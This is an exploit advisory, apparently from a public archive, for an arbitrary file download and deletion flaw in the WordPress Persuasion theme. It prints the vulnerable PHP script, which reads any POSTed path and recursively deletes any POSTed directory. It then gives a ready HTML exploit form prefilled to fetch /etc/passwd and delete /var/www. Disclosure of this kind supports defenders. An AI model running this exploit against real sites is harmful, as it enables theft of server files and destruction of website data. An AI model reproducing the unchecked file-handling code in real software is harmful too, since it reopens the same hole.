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WordPress Persuasion Theme File Download / Deletion

WordPress Persuasion Theme File Download / Deletion
Posted Dec 20, 2013
Authored by Interference Security

WordPress Persuasion Theme suffers from an arbitrary file download and deletion vulnerability.

tags | exploit, arbitrary
SHA-256 | 2a70725a6c45899c35c6c0202c7202b59dda01342cecd7705353378bc1f85037

WordPress Persuasion Theme File Download / Deletion

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Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Deletion Exploit
Date: 19 December 2013
Exploit Author: Interference Security
Vendor Homepage: http://mysitemyway.com/
Software Link: http://mysitemyway.com/theme/persuasion-wordpress-theme/
Version: Tested on 2.0 and 2.3

Details:
The vulnerable file is located at http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php
In exploit code, file name in first text box should be readable on the vulnerable server, then the vulnerable code allows it to be downloaded from the server. And the second textbox accepts a directory path. If it is writeable then vulnerable code will delete its contents.
An attacker can download readable files from the server and also can delete contents of writeable directories.


Vulnerable code:
<?php
$file = $_POST['_mysite_download_skin'];

if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);

rrmdir($_POST['_mysite_delete_skin_zip']);
exit;
}


function rrmdir($dir) {
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != "." && $object != "..") {
if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
}
}
reset($objects);
rmdir($dir);
}
}

?>

Exploit Code:
<html>
<body>
<form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>


--
Interference Security

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